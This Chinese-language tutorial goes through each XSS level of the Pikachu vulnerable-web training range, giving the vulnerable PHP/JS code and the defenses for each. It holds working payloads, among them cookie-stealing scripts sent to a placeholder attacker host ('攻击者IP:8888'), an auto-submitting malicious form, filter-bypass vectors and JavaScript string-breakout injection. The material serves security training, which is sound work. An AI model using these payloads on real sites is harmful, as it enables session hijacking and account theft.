摘要本文先从零基础视角讲解 XSS 的核心原理、三大分类与实际危害针对 Pikachu 靶场中XSS 跨站脚本模块的全部关卡进行零基础保姆级拆解。文章先补充前端输入长度限制的通用绕过方案解决新手 “输入框输不全 Payload” 的常见痛点随后从最基础的反射型 XSS 开始依次覆盖反射型GET/POST、存储型、DOM 型、DOM-X 型、盲打、过滤绕过、htmlspecialchars 绕过、href 属性输出、JS 代码输出共 10 类场景。在上一篇中我们完成了Pikachu靶场的环境搭建吃透了暴力破解模块的四种场景与防御逻辑。从本篇开始我们正式进入客户端漏洞的核心领域——XSS跨站脚本攻击。如果说暴力破解是利用业务逻辑的“笨办法”那XSS就是利用网页输出逻辑的“灵巧攻击”。它常年位列OWASP Top10前端漏洞之首广泛存在于各类留言板、搜索框、用户资料页中轻则篡改页面恶搞用户重则盗取账号、发起钓鱼攻击甚至能打穿内网边界。在正式动手之前我们先搞懂XSS的本质再逐个击破Pikachu中的所有XSS关卡。一、零基础先懂XSS到底是什么1.1 XSS的核心原理XSS全称Cross-Site Scripting跨站脚本攻击为了和层叠样式表CSS区分业内简称XSS。它的本质非常简单攻击者向网页中注入恶意的JavaScript代码当其他用户访问该页面时浏览器会无差别地执行这段恶意代码从而达到攻击目的。举个生活化的例子一个留言板没有对用户输入的内容做过滤你在留言里写了一段scriptalert(你被攻击了)/script提交之后所有打开这个留言板的人浏览器都会自动弹出“你被攻击了”的弹窗——这就是最基础的XSS攻击。很多新手会混淆XSS和SQL注入这里一句话分清SQL注入注入的SQL语句在后端数据库执行直接危害服务器数据XSS注入的JS脚本在用户浏览器执行危害所有访问页面的用户。1.2 XSS的三大主流类型根据攻击脚本的存储位置和触发方式XSS分为三大类难度和危害依次递增反射型XSS特点恶意脚本不会存储在服务器上而是藏在URL链接里需要诱导用户点击带参数的URL才能触发典型场景搜索框、错误提示页、参数回显页危害一次性只能攻击点击链接的单个用户隐蔽性一般。存储型XSS特点恶意脚本会被存入服务器数据库中所有访问该页面的用户都会自动触发攻击典型场景留言板、评论区、用户昵称、个人资料页危害持久性影响所有访问用户危害远大于反射型是高危漏洞。DOM型XSS特点不经过后端处理完全由前端JavaScript读取URL参数并直接渲染到页面DOM中触发漏洞典型场景前端路由、页面跳转、本地渲染的动态内容危害隐蔽性极强传统后端过滤很难检测到容易被开发忽略。1.3 XSS的真实危害不只是弹个窗很多新手觉得XSS就是弹个窗的“小恶作剧”这是非常错误的认知。实战中XSS的危害远超想象盗取账号Cookie最经典的利用方式通过JS获取用户的会话Cookie发送给攻击者攻击者就能直接冒用用户身份登录系统无需密码页面篡改与钓鱼修改页面内容插入虚假广告、伪造登录框诱导用户输入账号密码实现钓鱼攻击键盘记录监听用户的所有键盘输入窃取银行卡号、密码等敏感信息内网探测与跳板利用用户浏览器作为跳板扫描企业内网端口、访问内网系统打穿内网边界挂马与挖矿植入恶意脚本利用用户CPU资源挖矿或者静默下载木马病毒。二、前端输入长度限制的通用绕过方法很多新手在做 XSS 关卡时会遇到第一个坑输入框有字数限制长一点的 Payload 根本输不进去。这是前端通过maxlength属性做的表层限制只限制浏览器输入不限制后端接收有两种非常简单的绕过方法所有关卡通用。方法 1浏览器开发者工具直接修改最简单在输入框页面按F12打开开发者工具点击左上角的「选择元素」箭头点击输入框在右侧元素代码中找到maxlengthxx属性要么直接删掉这个属性要么把数值改大比如改成 1000回车确认后输入框就可以输入任意长度的内容了。方法 2Burp Suite 抓包修改最通用开启 Burp 代理在输入框里随便输入简短内容比如test点击提交Burp 拦截到请求后在请求体 / URL 参数里找到对应的参数直接把test替换成完整的 Payload点击放行请求后端就会接收到完整的恶意代码完全绕过前端长度限制。所有存在前端长度限制的关卡都可以用这两种方法绕过下文不再重复说明。三、关卡实战1反射型XSSGET型这是所有XSS里最简单的一种也是入门必练的第一个场景完美对应“输入即回显”的典型漏洞逻辑。3.1 关卡介绍页面有一个搜索输入框提示输入Which NBA player do you like?输入内容后点击提交页面会回显“您输入的内容是xxx”。所有参数通过GET方式传递输入内容直接显示在页面上。3.2 攻击思路既然用户输入的内容会被原封不动地回显在HTML页面上那我们输入一段JavaScript代码浏览器就会把它当成正常的脚本解析执行。3.3 实操步骤与攻击效果进入关卡在输入框里输入最基础的测试Payloadscriptalert(反射型XSS测试成功)/script点击提交按钮页面立刻弹出弹窗显示我们输入的文字漏洞验证成功。观察浏览器地址栏你会发现我们输入的内容直接出现在了URL的message参数里格式类似只要把这个链接发给其他人对方点击后就会触发弹窗这就是“反射型”的由来——恶意脚本藏在URL里服务器原封不动地反射回来交给浏览器执行。进阶攻击盗取Cookie弹窗只是验证漏洞存在实战中我们要获取有效信息。输入以下Payload就能弹出当前用户的会话Cookiescriptalert(document.cookie)/script执行后弹窗里会显示当前页面的PHPSESSID等核心Cookie信息攻击者拿到这个会话ID就能直接冒用用户身份登录系统无需密码。3.4 源码深度解析为什么输入的脚本会被浏览器执行看看后端PHP的核心处理逻辑if(isset($_GET[submit])){ if(empty($_GET[message])){ $html.p classnotice输入kobe试试-_-/p; }else{ if($_GET[message]kobe){ $html.p classnotice愿你和{$_GET[message]}一样永远年轻永远热血沸腾/pimg src{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png /; }else{ $html.p classnoticewho is {$_GET[message]},i dont care!/p; } } }逐行代码讲解后端接收GET方式传递的message参数没有对参数做任何过滤、转义、校验处理直接用字符串拼接的方式把用户可控的输入拼接到了返回给浏览器的HTML代码里浏览器收到返回的页面时会把script标签当成正常的JavaScript代码来解析执行漏洞就此产生。一句话总结成因用户可控输入直接输出到HTML无任何安全处理。3.5 对应防御方案针对GET型反射XSS最基础也最有效的修复方式是对输出到HTML页面的内容进行HTML实体转义。PHP中可以使用内置函数htmlspecialchars()把、、、等特殊字符转义成HTML实体让浏览器把它当成普通文本渲染而不是代码解析。修复后的代码示例$html.p classnoticewho is .htmlspecialchars($_GET[message]).,i dont care!/p;转义后script会变成lt;scriptgt;浏览器只会显示这段文字不会执行其中的脚本漏洞被修复。四、关卡实战2反射型XSSPOST型4.1 关卡介绍该页面需要先以admin / 123456登录后才能访问。同样是一个输入框提交后回显内容但数据通过POST 方法传递参数不出现在 URL 中。4.2 攻击思路POST 型反射 XSS 无法直接通过一个链接攻击因为数据在请求体中。攻击者需要制作一个自动提交恶意表单的页面诱使已登录的受害者访问让其浏览器代为发起 POST 请求触发漏洞。4.3 实操步骤与攻击效果用账号admin、密码123456登录 Pikachu。进入该关卡输入测试 Payloadscriptalert(POST型XSS)/script提交后立即弹窗证明漏洞存在。进阶攻击窃取 Cookie制作一个恶意 HTML 文件如attack.html内容如下html body form idevil actionhttp://localhost/pikachu/vul/xss/xsspost/xss_reflected_post.php methodPOST input typehidden namemessage valuescriptnew Image().srchttp://攻击者IP:8888/?cookiedocument.cookie/script input typehidden namesubmit valuesubmit /form scriptdocument.getElementById(evil).submit();/script /body /html当受害者已经登录 Pikachu 的情况下打开这个攻击页面表单会自动提交触发 XSSCookie 被发送到攻击者服务器。整个过程用户毫无察觉。4.4 源码深度解析后端核心代码if(isset($_POST[submit])){ $message $_POST[message]; $html . p classnotice你输入的内容是{$message}/p; }与 GET 型完全相同只是接收方式变成了$_POST并且要求登录态。但登录态对 XSS 本身无效代码依然毫无过滤地将用户内容拼接进 HTML。4.5 对应防御方案同样使用htmlspecialchars()对输出进行转义。增加CSRF Token使攻击者无法构造合法的自动提交表单。为会话 Cookie 设置SameSiteLax/Strict限制跨站请求携带 Cookie。五、关卡实战3存储型XSS5.1 关卡介绍一个典型的留言板功能用户可以发布留言留言内容会被存入数据库任何人访问该页面时都会加载并显示所有历史留言。5.2 攻击思路在留言中植入恶意脚本因为数据被存储在服务器任何访客包括管理员浏览留言列表时都会触发该脚本危害极大且持久。5.3 实操步骤与攻击效果在留言框输入scriptalert(存储型XSS)/script点击提交。页面刷新后弹窗立即出现。无论我们或其他用户何时再次打开该页面弹窗都会反复执行。进阶攻击大规模 Cookie 收割将 Payload 改为scriptnew Image().srchttp://攻击者IP:8888/?cookiedocument.cookie/script发布后每一个访问留言板的用户其 Cookie 都会被悄然发送到攻击者的监听服务器。如果管理员也查看了留言管理员的 Session ID 同样会被窃取攻击者借此可直接登录后台。5.4 源码深度解析存储留言与显示留言的关键逻辑// 写入数据库简化 $sql INSERT INTO xss_message (content) VALUES ({$_POST[content]}); ​ // 读取并显示 $result mysqli_query($conn, SELECT content FROM xss_message); while($row mysqli_fetch_assoc($result)){ echo p{$row[content]}/p; }输入先被拼接到 SQL 语句存入数据库再从数据库取出直接拼接进 HTML。整个过程未对内容做任何转义或过滤导致恶意脚本被持久化并执行。5.5 对应防御方案输出时进行 HTML 实体编码即使在入库前做过过滤也必须再编码。如果业务需要支持部分 HTML如富文本使用专业的清理库如 HTML Purifier 或 OWASP AntiSamy基于白名单过滤标签和属性。设置HttpOnly和SecureCookie。配置严格的内容安全策略CSP禁止内联脚本执行。六、关卡实战4DOM型XSS6.1 关卡介绍该关卡无需与服务器交互完全由前端 JavaScript 读取用户输入然后通过 DOM 操作将其动态插入页面。Pikachu 这一关会将你的输入拼接到一个a标签的href属性中。6.2 攻击思路因为输入被放入链接属性可以尝试输入javascript:alert(1)这样的伪协议当用户点击链接时就会执行 JavaScript。也可以闭合属性并添加事件处理器。6.3 实操步骤与攻击效果在输入框输入javascript:alert(DOM型XSS)点击click me然后页面会生成一个链接显示“what do you see?”点击该链接弹窗出现。进阶利用javascript:document.locationhttp://攻击者IP:8888/?cookiedocument.cookie输入以上内容点击后浏览器会跳转并带走 Cookie。6.4 源码深度解析前端核心 JavaScriptvar str document.getElementById(text).value; document.getElementById(dom).innerHTML a hrefstrwhat do you see?/a;用户输入str被直接拼接到 HTML 字符串然后通过innerHTML写入页面。没有做任何校验导致可以注入javascript:伪协议。6.5 对应防御方案避免使用innerHTML、document.write拼接不可信数据。使用安全方法如textContent或借助前端框架的自动转义React、Vue 默认转义。若必须动态创建链接对协议进行白名单校验只允许http:和https:。启用 CSP禁止unsafe-inline和特定来源。七、关卡实战5DOM型XSS-X7.1 关卡介绍本关卡是「DOM型XSS」的进阶变体初始页面仅显示输入框与「请说出你的伤心往事」提交按钮无任何链接内容。 在输入框填写内容并点击按钮后页面会以GET方式刷新URL中携带text参数同时前端JavaScript会自动读取URL里的text参数动态生成一段文字超链接链接的href跳转地址完全由text参数控制。和纯DOM型XSS关卡4的核心区别关卡4是纯前端本地操作输入后不刷新页面、不与后端交互无法通过URL传播本关卡的输入会通过URL参数传递、页面刷新后再由前端渲染属于「反射型输入 DOM型输出」的结合体可以直接通过分享URL的方式诱导他人触发利用门槛更低、隐蔽性更强。7.2 攻击思路前端JS会从URL中读取text参数的值直接拼接到a标签的href属性中并插入页面DOM。利用浏览器原生支持javascript:伪协议的特性在text参数中注入恶意JS代码用户点击生成的超链接时浏览器就会执行伪协议后的代码触发XSS攻击。7.3 实操步骤与攻击效果进入关卡确认初始状态仅显示输入框与提交按钮页面无超链接内容。在输入框中输入测试Payloadjavascript:alert(DOM-X型XSS触发)点击「请说出你的伤心往事」按钮页面自动刷新地址栏URL变为同时页面中会生成蓝色超链接固定显示文字有些费尽心机想要忘记的事情,后来真的就忘掉了。点击页面中生成的这段文字超链接会触发domxss()函数生成另一条蓝色超链接固定显示文字就让往事都随风都随风吧。再点击这条链接浏览器立即弹出弹窗XSS漏洞触发成功。进阶验证反射特性直接修改浏览器地址栏中text后面的内容刷新页面后会生成对应跳转地址的链接无需通过输入框提交。说明该漏洞可直接通过URL传播诱导受害者访问链接即可触发攻击。点击生成的超链接后可执行任意JavaScript代码可扩展为盗取Cookie、页面钓鱼、跳转恶意网站等实战攻击恶意代码藏在URL参数中可直接分享链接诱导他人触发传播性远强于纯DOM型参数表面经过后端传输但后端未做任何处理最终触发点仍在前端DOM操作传统后端WAF、输入过滤很容易漏判。7.4 源码深度解析后端PHP代码$html; if(isset($_GET[text])){ // 后端只判断text参数是否存在存在就输出一段固定的HTML // 重点完全没有把text参数的值输出到页面里 $html. a href# onclickdomxss()有些费尽心机想要忘记的事情,后来真的就忘掉了/a; }逐行代码讲解初始化$html为空字符串判断 GET 请求中是否存在text参数只判断「有没有」不处理、不输出参数的具体内容如果参数存在就给$html追加一段固定写死的 a 标签这个标签的作用只是点击时调用前端的domxss()函数后续通过?php echo $html;?把这段固定代码渲染到页面上。前端核心JS代码漏洞根源function domxss(){ // 1. 获取当前页面URL的查询字符串?后面的所有内容 var str window.location.search; // 2. 用text分割字符串取分割后的第二部分也就是text参数的值 var txss decodeURIComponent(str.split(text)[1]); // 3. 把参数里的号替换成空格处理URL编码的空格 var xss txss.replace(/\/g, ); // 4. 核心漏洞行直接把参数值拼接到href属性通过innerHTML插入DOM document.getElementById(dom).innerHTML a hrefxss就让往事都随风,都随风吧/a; }逐行代码讲解window.location.search拿到 URL 中?后面的完整查询串比如?textjavascript:alert(1)用split(text)把字符串切成数组取索引为 1 的元素得到参数原始值再用decodeURIComponent做 URL 解码把参数里的替换成空格兼容表单提交的默认编码直接把处理后的参数值通过字符串拼接待入到a标签的href属性里属性用单引号包裹最后通过innerHTML把完整的标签写入页面 DOM 树浏览器解析后生成可点击的链接。7.5 对应防御方案避免使用innerHTML处理来自location、referrer等外部源的数据。若需显示纯文本使用textContent替代innerHTML。必须使用 HTML 内容时先进行严格的客户端过滤如 DOMPurify。配置 CSP 限制内联脚本和外部资源。八、关卡实战6XSS之盲打8.1 关卡介绍一个“投诉建议”提交表单普通用户提交后看不到任何回显但是管理员在后台会查看这些建议。攻击者自身无法直接观察到执行效果。8.2 攻击思路将恶意脚本作为建议内容提交只要管理员在后台查看脚本就会在管理员浏览器中执行。通常用来盗取管理员的 Cookie进而接管后台。8.3 实操步骤与攻击效果在建议框输入scriptalert(盲打XSS)/script提交。访问http://localhost/pikachu/vul/xss/xssblind/admin_login.php用admin / 123456登录后台点击查看留言。立刻弹出窗口证明漏洞存在。8.4 源码深度解析关键代码逻辑与存储型 XSS 类似都是将用户提交的内容存储到数据库管理员查看页面时从数据库取出直接输出。区别仅在于前台用户看不到这个输出但危害丝毫不减。// 管理员后台 $res mysqli_query($conn, SELECT content FROM xss_blind); while($row mysqli_fetch_assoc($res)){ echo div{$row[content]}/div; }8.5 对应防御方案所有用户可控内容的输出点无论前台还是后台都必须进行 HTML 实体编码。配置 CSP 和 HttpOnly Cookie即使有漏网之鱼也能降低损失。定期进行自动化扫描和人工代码审计关注管理后台的安全性。九、关卡实战7XSS之过滤9.1 关卡介绍开发者意识到 XSS 风险尝试对输入进行过滤比如将script替换为空字符串。但基于黑名单的过滤非常容易被绕过。9.2 攻击思路采用各种绕过技巧如双写、大小写混淆、使用其他标签等让过滤机制失效。9.3 实操步骤与攻击效果绕过手法1大写绕过输入SCRIPTalert(大小写绕过)/SCRIPT点击提交页面触发弹窗成功绕过 script 标签过滤弹窗成功。绕过手法2标签替换直接使用不包含script标签的 Payloadimg srcx onerroralert(过滤绕过成功)或者svg onloadalert(过滤绕过成功)这两种方式完全不涉及script如果过滤只针对 script 标签那么可轻松执行。进阶利用同样可以将弹窗替换为窃取 Cookie 的脚本上述两种向量都支持。9.4 源码深度解析过滤逻辑为$messagepreg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/, , $_GET[message]);从用户输入的message参数中用正则表达式匹配所有「以开头、中间按顺序出现s c r i p t字母」的字符串把匹配到的内容替换为空直接删掉最后把处理后的结果赋值给$message因此大写、其他标签均可轻易绕过。9.5 对应防御方案不要依赖黑名单使用 htmlspecialchars 进行输出转义才是根本。如果必须做输入过滤结合白名单和成熟的防 XSS 库如 HTML Purifier。输出时仍然必须编码因为新攻击向量层出不穷过滤永远只能作为辅助。十、关卡实战8XSS之htmlspecialchars10.1 关卡介绍这一关告诉我们即使使用了htmlspecialchars()如果输出位置特殊比如在标签属性中依然可能被绕过。10.2 攻击思路htmlspecialchars()默认会转义 但如果用户输入被放到a href...的 URL 中冒号、字母等不会被转义导致伪协议javascript:alert(1)可被执行。10.3 实操步骤与攻击效果在输入框输入javascript:alert(htmlspecialchars绕过)页面生成链接点击链接触发弹窗。进阶利用输入javascript:document.locationhttp://攻击者IP:8888/?cookiedocument.cookie诱导点击即可盗取 Cookie。10.4 源码深度解析$messagehtmlspecialchars($_GET[message]); $html2.a href{$message}{$message}/a;htmlspecialchars把转义了但javascript:这些字符完全合法没有转义导致可执行。这正是“上下文编码”不当的典型案例——在 URL 属性中输出只做 HTML 实体编码是不够的。10.5 对应防御方案对输出在 URL 属性中的内容先校验协议只允许http、https不允许javascript:等危险伪协议。结合 URL 编码但协议白名单是更可靠的防御。如果使用htmlspecialchars务必评估输出上下文必要时进行额外处理。十一、关卡实战9XSS之href输出11.1 关卡介绍本关卡专门演示了用户输入被直接拼接在a href...中的情况与上一关类似但更纯粹地聚焦于 href 属性。11.2 攻击思路输入javascript:alert(1)就能实现点击触发执行。11.3 实操步骤与攻击效果在输入框输入javascript:alert(href XSS)。页面出现链接点击后弹窗。结合盲打如果这个输入会出现在其他用户的页面中如个人资料链接则可以窃取点击该链接用户的 Cookie。11.4 源码深度解析$messagehtmlspecialchars($_GET[message],ENT_QUOTES); $html.a href{$message} 阁下自己输入的url还请自己点一下吧/a;没有任何过滤和校验直接输出伪协议畅通无阻。11.5 对应防御方案必须校验 URL 的协议只允许http://或https://开头可使用filter_var($url, FILTER_VALIDATE_URL)并结合协议判断。输出时仍然要进行 HTML 实体编码但不足以防御伪协议。十二、关卡实战10XSS之JS输出12.1 关卡介绍用户输入被动态输出到页面里的script标签内部的 JavaScript 变量中。这是最容易被忽略的 XSS 场景之一。12.2 攻击思路闭合原有的字符串引号插入自己的 JavaScript 代码并将后面的代码注释掉即可执行任意脚本。12.3 实操步骤与攻击效果输入基础标签 Payload 无效因为内容在 JS 代码里不会被当作 HTML 解析构造 JS 闭合 Payload;alert(JS输出型XSS触发);//提交页面自动触发弹窗。12.4 源码深度解析$jsvar$_GET[message]; $ms?php echo $jsvar;?;用户输入直接拼接到 JS 代码的字符串变量中输入;alert(1);//后最终生成的 JS 代码变为ms ;alert(JS输出型XSS触发);//;单引号闭合了原字符串分号结束原语句插入我们的 alert 代码最后用//注释掉后面的内容语法完全合法浏览器正常执行。12.5 对应防御方案对输出到 JavaScript 上下文中的变量进行JavaScript 转义可以使用json_encode等方式确保特殊字符被安全转义。不要将用户输入直接放在script标签内改用data-*属性传递再由 JS 安全读取。在后端对输入进行严格类型验证如只允许数字、字母等。强制使用 CSP禁止内联脚本执行script-src self。十三、XSS企业级综合防御体系单个漏洞的单点修复只是基础企业级的XSS防御需要多层防护形成纵深防御体系13.1 开发层输入输出全链路管控输入白名单校验对所有用户输入进行格式校验优先采用白名单机制只允许合法的字符和格式而非黑名单过滤场景化输出转义根据输出的场景HTML、JavaScript、CSS、URL属性选择对应的转义方式不能一种转义用到底富文本专用处理对于需要保留HTML格式的富文本内容使用专业的HTML净化器如HTMLPurifier基于白名单过滤危险标签和属性。13.2 浏览器层安全头与Cookie加固HttpOnly Cookie给所有会话Cookie设置HttpOnly属性禁止JavaScript读取Cookie大幅降低XSS盗号的危害Content-Security-PolicyCSP内容安全策略通过HTTP响应头设置脚本资源白名单只允许加载指定域名的脚本直接禁止执行内联脚本和未授权外部脚本是目前最强的XSS防御手段。13.3 运维层边界防护在网站前置部署Web应用防火墙WAF内置XSS攻击特征库拦截常见的XSS攻击Payload作为额外的防护层。但需要注意WAF不是万能的存在多种绕过方式绝对不能替代代码层面的根本修复。总结通过十个关卡的实战与源码分析我们可以提炼出 XSS 攻防的核心逻辑攻击的本质用户输入的数据被浏览器当成代码解析破坏了数据与代码的边界。漏洞产生根源在将数据输出到页面不同位置时未根据上下文进行恰当编码或校验。防御黄金法则输出编码HTML 上下文用htmlspecialcharsJS 上下文用\xHH或json_encodeURL 上下文校验协议。输入校验作为辅助采用白名单限制格式。附加防护HttpOnly Cookie、CSP 策略、CSRF Token 等多层防线。无论是反射型、存储型还是 DOM 型万变不离其宗。现在你已经能够从弹窗验证到 Cookie 窃取再到远程控制浏览器完整走完 XSS 攻击链。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。